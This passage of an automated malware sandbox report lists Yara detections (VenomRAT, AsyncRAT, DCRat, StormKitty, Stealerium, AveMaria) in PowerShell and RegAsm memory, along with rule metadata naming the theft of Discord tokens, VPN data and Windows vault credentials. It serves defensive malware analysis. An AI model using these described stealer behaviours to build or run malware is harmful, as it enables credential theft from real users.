Source: powershell.exe, 00000004.00000002.2166864949.0000023ACF595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354cIt
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

E-Banking Fraud

Yara detected AveMaria stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.23ad05c1608.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23aceb6d430.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23ad05bb1d0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23ad04ef85e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23aceb266ae.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23aceb29b50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23ad0505218.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23ad04ef85e.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.23aceb266ae.4.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: 4.2.powershell.exe.23ae6840000.12.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 4.2.powershell.exe.23ad0505218.2.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 4.2.powershell.exe.23aceb29b50.3.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 4.2.powershell.exe.23ad04f3458.6.raw.unpack, Knvbl.cs	Long String: Length: 14784

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011E3370 NtProtectVirtualMemory,		11_2_011E3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011E2F19 NtProtectVirtualMemory,		11_2_011E2F19

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B5F90	4_2_00007FFD348B5F90
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B84D3	4_2_00007FFD348B84D3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348BE7F8	4_2_00007FFD348BE7F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B5FF0	4_2_00007FFD348B5FF0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348BD0C0	4_2_00007FFD348BD0C0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B41F2	4_2_00007FFD348B41F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348BEA58	4_2_00007FFD348BEA58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B52FA	4_2_00007FFD348B52FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348BD318	4_2_00007FFD348BD318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348BBA99	4_2_00007FFD348BBA99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348DD400	4_2_00007FFD348DD400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011E27A0	11_2_011E27A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011EF248	11_2_011EF248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011E2797	11_2_011E2797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011E2F19	11_2_011E2F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06867460	11_2_06867460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06860040	11_2_06860040

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.23ad05c1608.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23aceb6d430.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23ad05bb1d0.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23ad04ef85e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23aceb266ae.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23aceb29b50.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23ad0505218.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23ad04ef85e.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
